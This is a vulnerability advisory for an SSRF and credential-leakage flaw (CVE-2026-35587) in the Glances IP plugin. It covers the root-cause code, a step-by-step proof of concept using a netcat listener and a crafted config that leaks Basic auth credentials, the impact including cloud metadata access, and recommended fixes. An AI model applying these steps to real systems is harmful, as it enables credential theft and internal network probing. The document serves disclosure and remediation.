CVE-2026-35587

Description

### Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to: Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. ### Details The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation. **Root Cause** In glances/plugins/ip/__init__.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests: ``` self.public_api = self.get_conf_value("public_api", default=[None])[0] self.public_ip_thread = ThreadPublicIpAddress( url=self.public_api, username=self.public_username, password=self.public_password, refresh_interval=self.public_address_refresh_interval, ) ``` There is no validation performed on: - URL scheme (e.g., http, https, file) - Hostname or resolved IP address - Internal or restricted IP ranges - Unsafe HTTP Request Handling The request is executed via urlopen_auth() in glances/globals.py: ``` def urlopen_auth(url, username, password, timeout=3): return urlopen( Request( url, headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, ) ``` This function: - Accepts any URL passed to it - Automatically attaches a Basic Authorization header - Does not enforce any restrictions on destination ### PoC SSRF via public_api (Glances IP Plugin) Prerequisites Glances installed Two terminals **Step 1** Start listener (Terminal 1) ` nc -lvnp 9999 ` **Step 2** Create malicious config (Terminal 2) ` mkdir -p ~/.config/glances ` ` cat > ~/.config/glances/glances.conf << 'EOF' [ip] public_disabled=False public_api=http://127.0.0.1:9999/ssrf-poc public_username=apiuser public_password=S3cr3tP@ss EOF ` **Step 3** Start Glances glances --webserver **Step 4** Observe SSRF request (Terminal 1) ` GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x ` ` Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz ` **Step 5** Decode leaked credentials ` echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d ` **Output:** ` apiuser:S3cr3tP@ss ` **Step 6** Confirm data via API ` curl -s http://127.0.0.1:61208/api/4/ip ` ``` { "address": "**.***.***.***", "mask": "255.255.255.0", "mask_cidr": 24 } ``` ### Impact This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter. **Server-Side Request Forgery (SSRF):** The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. **Credential Leakage:** When public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers. **Internal Network Access:** The vulnerability enables access to internal resources such as: 127.0.0.1 (localhost services) Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x) **Cloud Metadata Exposure:** The application can be directed to query cloud metadata endpoints such as: http://169.254.169.254/ potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments) **Data Injection / Manipulation:** Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application. ## NOTE Vulnerability Location The issue originates from how the public_api configuration value is handled and used without validation. **1. Source of user-controlled input** File: glances/plugins/ip/__init__.py (around lines ~64–82) ` self.public_api = self.get_conf_value("public_api", default=[None])[0] self.public_username = self.get_conf_value("public_username", default=[None])[0] self.public_password = self.get_conf_value("public_password", default=[None])[0] public_api is fully user-controlled via configuration ` No validation is applied at this stage **2. Missing validation before usage** ` self.public_disabled = ( self.get_conf_value('public_disabled', default='False')[0].lower() != 'false' or self.public_api is None or self.public_field is None ) ` Only checks if the value is None No validation of: - URL scheme - Hostname - IP address range **3. Vulnerable sink (critical point)** ` self.public_ip_thread = ThreadPublicIpAddress( url=self.public_api, # ← user-controlled input username=self.public_username, password=self.public_password, refresh_interval=self.public_address_refresh_interval, ) ` The user-controlled public_api is passed directly into a network request This is the SSRF entry point **4. Unsafe HTTP execution** File: glances/globals.py (around lines ~360+) ` def urlopen_auth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, ) ` - Accepts any URL - Sends request blindly - Automatically attaches credentials to any destination - Root Cause A user-controlled configuration value (public_api) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage. **Recommendation** The fix must be applied before the URL is used, specifically in the IP plugin (__init__.py). **1. Enforce scheme restrictions** Allow only: http https Reject: file:// gopher:// ftp:// any non-HTTP protocol This prevents protocol abuse and local file access **2. Validate destination host** Resolve the hostname to an IP address Check the resolved IP against restricted ranges **Block if the IP is:** Loopback → 127.0.0.0/8 Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 Link-local → 169.254.0.0/16 (cloud metadata services) **This prevents:** Internal network probing AWS/GCP/Azure metadata access localhost abuse **3. Enforce validation before thread creation** The validation must occur before initializing: ThreadPublicIpAddress(...) If validation fails: Disable the plugin Do not send any request **4. Trust boundary clarification** urlopen_auth() is a low-level utility It should not be responsible for validation The caller (IP plugin) must ensure: Only safe, external URLs are passed **Why This Fix Works** Scheme validation blocks protocol-based attacks IP validation blocks internal and cloud targets Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)

Affected packages (2)

• Debian/glancesfrom 0
• PyPI/glancesfrom 0, < 4.5.4

CVSS scores

References (6)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-35587
• ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2026-35587
• PATCHhttps://github.com/nicolargo/glances
• WEBhttps://github.com/nicolargo/glances/commit/d6808be66728956477cc4b544bab1acd71ac65fb
• WEBhttps://github.com/nicolargo/glances/releases/tag/v4.5.4
• WEBhttps://github.com/nicolargo/glances/security/advisories/GHSA-g5pq-48mj-jvw8